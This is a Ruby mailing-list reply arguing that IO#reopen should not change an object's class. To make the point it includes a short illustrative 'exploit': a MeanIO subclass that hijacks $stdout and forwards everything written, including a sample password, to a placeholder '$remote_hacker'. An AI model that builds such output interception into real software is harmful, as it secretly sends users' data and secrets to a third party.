From: Charles Oliver Nutter Date: 2010-04-30T16:43:34+09:00 Subject: Re: Use of STDOUT.flush after puts On Fri, Apr 30, 2010 at 2:09 AM, Robert Klemme wrote: > 2010/4/30 Charles Oliver Nutter : >> This is a really nasty feature not a lot of people know about. It's >> not possible for us to support in JRuby because the underlying object >> can't actually change class: > > That's true, instances which change their class - this is problematic. > >> I'm of the opinion that .reopen should be discouraged in general. > > IMHO that is a bad idea because this is the standard way how you > redirect stderr, stdin and stdout for child processes - at least on > POSIX systems.  Any program that wants to do something similar like > IO.popen or just wants to prevent the child's stdout to clutter its > own output depends on the ability to do this. IO.popen doesn't require IO#reopen to be available to users, so I'm not sure what you mean by that. It may do something similar to reopen under the covers, but that's an implementation detail. My primary gripe is the changing class; at worst, IO#reopen should only change the class to some common superclass, so that reopening a File stream with a Socket would turn it into an IO. But at best, the class shouldn't change at all; no other behavior in all of Ruby can cause an object to change its effective type out from under you. Consider this goofy sort of exploit: class MeanIO < IO def initialize(io) super(io.fileno) @io = io end def write(data) $stderr.puts "sending your data to hacker!" $remote_hacker.receive(data) super(data) end end $stdout.reopen(MeanIO.new($stdout)) puts 'password:aSdFgH' Now of course you could do similar sorts of things by simply class << $stdout, but the problem with reopen is that I can't even freeze a class somewhere to prevent this from happening. $SAFE can prevent you from reopening on an "untainted IO", but you have to go up to level 4 before that happens...plus I believe only MRI supports SAFE fully (JRuby has some minimal support for tainting, but does not implement SAFE levels). So yeah, I appreciate that "reopen" is the typical way people redirect IO, but in this case it breaks Ruby's class/object model in a really nasty way. Perhaps $stderr and friends should not be some sort of DelegateIO that has a reopen, but which doesn't change its class. Or perhaps not changing the class and letting the user fail if they try to call unsupported methods is best. At any rate, for a strongly-typed language like Ruby, objects *should not* change their class under any circumstances. - Charlie